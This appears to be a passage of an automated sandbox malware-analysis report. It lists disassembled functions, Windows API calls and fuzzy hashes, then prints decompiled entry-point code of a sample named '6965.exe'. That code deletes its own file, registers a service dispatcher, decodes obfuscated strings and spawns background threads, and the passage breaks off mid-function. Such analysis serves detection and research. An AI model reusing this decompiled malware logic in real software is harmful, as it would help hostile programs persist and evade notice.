Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: From$Prog$ExceptionFreeRaiseStringTasklstrcmpi
String ID:
API String ID: 450394209-0
Opcode ID: 6ffb30544a6339a7abad21001f67a26da7a9872910c93532f6025ecba8161674
Instruction ID: 3c827dfbb3f365e6e1793fd40dacc5df6977d7de54b1a6650ce057aedfb91c6f
Opcode Fuzzy Hash: 6ffb30544a6339a7abad21001f67a26da7a9872910c93532f6025ecba8161674
Instruction Fuzzy Hash: 7B11C277600608ABDB248F64DC08BAE7BADEB44355F158014FD09D6144DB75DD80C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 011E57FF, Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 011E581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 011E5829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 011E5831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 011E583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 011E5877

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 59906d83f442e998b5966daed900f5a2ebd70b7057ad890a7bfcf1a91287b69a
Instruction ID: 44b4474c9cbbdb773ce4821271630a4281a2d4bb4b71ebd43ce5d586380997d6
Opcode Fuzzy Hash: 59906d83f442e998b5966daed900f5a2ebd70b7057ad890a7bfcf1a91287b69a
Instruction Fuzzy Hash: 44015735C01A1D9BDF28DFEAE84C9EDBBB9BB08715F014156E501F2144DF3495A0CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0118178C, Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 0118179B
StrokeAndFillPath.GDI32(?,?,011BBBC9,00000000,?), ref: 011817B7
SelectObject.GDI32(?,00000000), ref: 011817CA
DeleteObject.GDI32 ref: 011817DD
StrokePath.GDI32(?), ref: 011817F8

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: bc244b42db8cb2536bd0caf301d9c2b5fcc72792163ff8aba117ea3e18798493
Instruction ID: f427b78cc0c17fab56a60e47eba550cb292ab734e17ee2d6f167a60593c2fc1e
Opcode Fuzzy Hash: bc244b42db8cb2536bd0caf301d9c2b5fcc72792163ff8aba117ea3e18798493
Instruction Fuzzy Hash: D7F01935000608BFEB35AF29F90C7583FA4A710722F048258F52A441E8CB314596EF54

Uniqueness

Uniqueness Score: -1.00%

Function 0119CF0C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0119CFC2
_memmove.LIBCMT ref: 0119D060
_memset.LIBCMT ref: 0119D084

Strings

ERCP, xrefs: 0119CF2D

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 1ec50af2a5570ce2f8c889c8a6b2971c8a1ff24be6ff02483ee4ab662a29b358
Instruction ID: 6e69b2e141b536d18ab4cfe30c3179b4efb6d2efda64da1b3cd2b6eadc846114
Opcode Fuzzy Hash: 1ec50af2a5570ce2f8c889c8a6b2971c8a1ff24be6ff02483ee4ab662a29b358
Instruction Fuzzy Hash: 0E51C2B19007069BDF2CCFA8D8847AABBF4FF44354F14856ED59ADB250E7709185CB81

Uniqueness

Uniqueness Score: -1.00%

Function 011D7D9B, Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ef76289f066a592790ec424eb4e3a4225cd35b0a5e2a1fd16afff048afc57e7
Instruction ID: 7574c2549e39a7ef03f50de3581ad10d2635629854804164ac949a7c69116fc1
Opcode Fuzzy Hash: 8ef76289f066a592790ec424eb4e3a4225cd35b0a5e2a1fd16afff048afc57e7
Instruction Fuzzy Hash: 79C19E75A00216EFDB18CF98C884EAEFBB5FF48714B158598E905EB291D731ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 011D749B, Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 011D74AC
SysAllocString.OLEAUT32(00000000), ref: 011D7555
VariantCopy.OLEAUT32 ref: 011D7584
VariantClear.OLEAUT32(?), ref: 011D75AB

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: dc8b2c9839adbf6967e8d522f7e32b10690aed772bf4ab9fa0151e5909aa6729
Instruction ID: f34fcc8a9f87558de5dfc19fb1ead99dabc0ceaf5e91ac218da9b5aa87fde0e5
Opcode Fuzzy Hash: dc8b2c9839adbf6967e8d522f7e32b10690aed772bf4ab9fa0151e5909aa6729
Instruction Fuzzy Hash: 1551A4356007029BEB2CAF7D9895A2DF7E5EF5431CB20881FE556DB6D1FB3098808B06

Uniqueness

Uniqueness Score: -1.00%

Function 0120B1A9, Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0120B1D2
GetWindowRect.USER32 ref: 0120B248
PtInRect.USER32(?,?,0120C6BC), ref: 0120B258
MessageBeep.USER32(00000000), ref: 0120B2C9

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: dbabcaed125ab04bcfd9cb21bfb591fa079fdfc85dc32f4c5fbf69ee9fc7446b
Instruction ID: 30bc4657907a8afe7c048d7cd60d955b33369e6616d13415484d71e8cf196aee
Opcode Fuzzy Hash: dbabcaed125ab04bcfd9cb21bfb591fa079fdfc85dc32f4c5fbf69ee9fc7446b
Instruction Fuzzy Hash: AA418238A10115DFDB33DF98D484AAD7BF5FF49311F1486A5E6289B296D730A841CF90

Uniqueness

Uniqueness Score: -1.00%

Function 011B63F5, Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 011B642B
__isleadbyte_l.LIBCMT ref: 011B6459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 011B6487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 011B64BD

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c41fa43ba8d3a98f6a7835153a578f464c046ba433bbf0d89fef2f6d9ab8d6bb
Instruction ID: fb2891dbba99ed6b5ae7c433cf01d210fa42b7fa0053649d58d936b062e4bcf1
Opcode Fuzzy Hash: c41fa43ba8d3a98f6a7835153a578f464c046ba433bbf0d89fef2f6d9ab8d6bb
Instruction Fuzzy Hash: 3931E131600A56EFEB298F79CC84BEB7FA6FF51320F154429E92487190DB39E850CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0120CB40, Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

GetCursorPos.USER32(?), ref: 0120CB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,011BBCEC,?,?,?,?,?), ref: 0120CB8F
GetCursorPos.USER32(?), ref: 0120CBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,011BBCEC,?,?,?), ref: 0120CC16

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: aac0c7b37ee8cc84adbe0f958c3568bbd8f06580eaa61484dea91d397ec6c71d
Instruction ID: 665132a4bb3100d273873681980f138fada7595808d07f48949210d6d39f4c19
Opcode Fuzzy Hash: aac0c7b37ee8cc84adbe0f958c3568bbd8f06580eaa61484dea91d397ec6c71d
Instruction Fuzzy Hash: B831D074610418AFDB26CF58D848EFE7FB5FB09310F044299FA059B2A2D7319961EFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0118166C, Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

DefDlgProcW.USER32(?,00000020,?), ref: 011816B4
GetClientRect.USER32 ref: 011BB93C
GetCursorPos.USER32(?), ref: 011BB946
ScreenToClient.USER32 ref: 011BB951

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 3e868b3018df37cc0e852548867e5fca79e013fdbe0bbdc1ab9c4d5b79d0e4f5
Instruction ID: b9d1207b8ba5039da80fe90f9168fd49a5185a3bd6a9a81cc1a6846c952d77f0
Opcode Fuzzy Hash: 3e868b3018df37cc0e852548867e5fca79e013fdbe0bbdc1ab9c4d5b79d0e4f5
Instruction Fuzzy Hash: F2114976900019BFCB18EE58D8899FE7BB9FB04204F504855F951E7140D770BA52CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01182111, Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 0118214F
GetStockObject.GDI32(00000011), ref: 01182163
SendMessageW.USER32(00000000,00000030,00000000), ref: 0118216D

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: c3210618651aaf69a3dac0856423770cf01277c4f6ca28d996469bad900f684b
Instruction ID: f0827b995ef54a6887733957d7153204c8f95f7d2902880503c0d872e843b345
Opcode Fuzzy Hash: c3210618651aaf69a3dac0856423770cf01277c4f6ca28d996469bad900f684b
Instruction Fuzzy Hash: D3118B7210124DBFEB1B9EA4AC84EEA7B69EF58254F154112FB0452058CB319CA1DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0120BCA7, Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0120BCB6
_memset.LIBCMT ref: 0120BCC5
CreateProcessW.KERNEL32 ref: 0120BCF4
CloseHandle.KERNEL32 ref: 0120BD06

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 4b8d93cce462bc00bc5c89ead02814c69e7a34749273017914bf170a3ec7d4e0
Instruction ID: 0096ea4325f7e2416c5dadbe44963ff46c7452fc582c2a5a7044ba30e321ea2a
Opcode Fuzzy Hash: 4b8d93cce462bc00bc5c89ead02814c69e7a34749273017914bf170a3ec7d4e0
Instruction Fuzzy Hash: EBF05EB65B03047FE2607BA5BC09FBB7A5DEB18A54F810521BB08E9186D772481087A9

Uniqueness

Uniqueness Score: -1.00%

Function 0120C3C4, Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 011816CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 01181729
Part of subcall function 011816CF: SelectObject.GDI32(?,00000000), ref: 01181738
Part of subcall function 011816CF: BeginPath.GDI32(?), ref: 0118174F
Part of subcall function 011816CF: SelectObject.GDI32(?,00000000), ref: 01181778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0120C3E8
LineTo.GDI32(00000000,?,?), ref: 0120C3F5
EndPath.GDI32(00000000), ref: 0120C405
StrokePath.GDI32(00000000), ref: 0120C413

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 65afb1ecb399eb367fdee6c46ba11ea4f860f0ee4c9fe5c23f63b2bfcb37d779
Instruction ID: 46ad5a4029a0e78cc535b484648e509221aaae92c1c83308ab8e35547cc07f7e
Opcode Fuzzy Hash: 65afb1ecb399eb367fdee6c46ba11ea4f860f0ee4c9fe5c23f63b2bfcb37d779
Instruction Fuzzy Hash: D9F09A32001219BBEB23AE54AC0DFCA3E59AF25310F048140FA51211D6CBB512A5EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 011F40B5, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 011F4132

Part of subcall function 01191A36: _memmove.LIBCMT ref: 01191A77

Strings

, $, xrefs: 011F4172
AUTOITCALLVARIABLE%d, xrefs: 011F4124

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 12b51b6becad51f1861471f27f0c4c81576a01e93eb71c6f601f6b8b706039e2
Instruction ID: 7ee3ac30b05179dd6d49cd158a4645e88b9767730ff2e8ca67f4b1858cac75c1
Opcode Fuzzy Hash: 12b51b6becad51f1861471f27f0c4c81576a01e93eb71c6f601f6b8b706039e2
Instruction Fuzzy Hash: EF21A271B0021EAFCF18EF64C884EAE7BB5EF64754F444469EA15A7240DB30EA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 6965.exe PID: 6428 Parent PID: 3424 6965.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 98.8, APIs: 48, Strings: 8, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x5e && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x5e5e5e5e;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
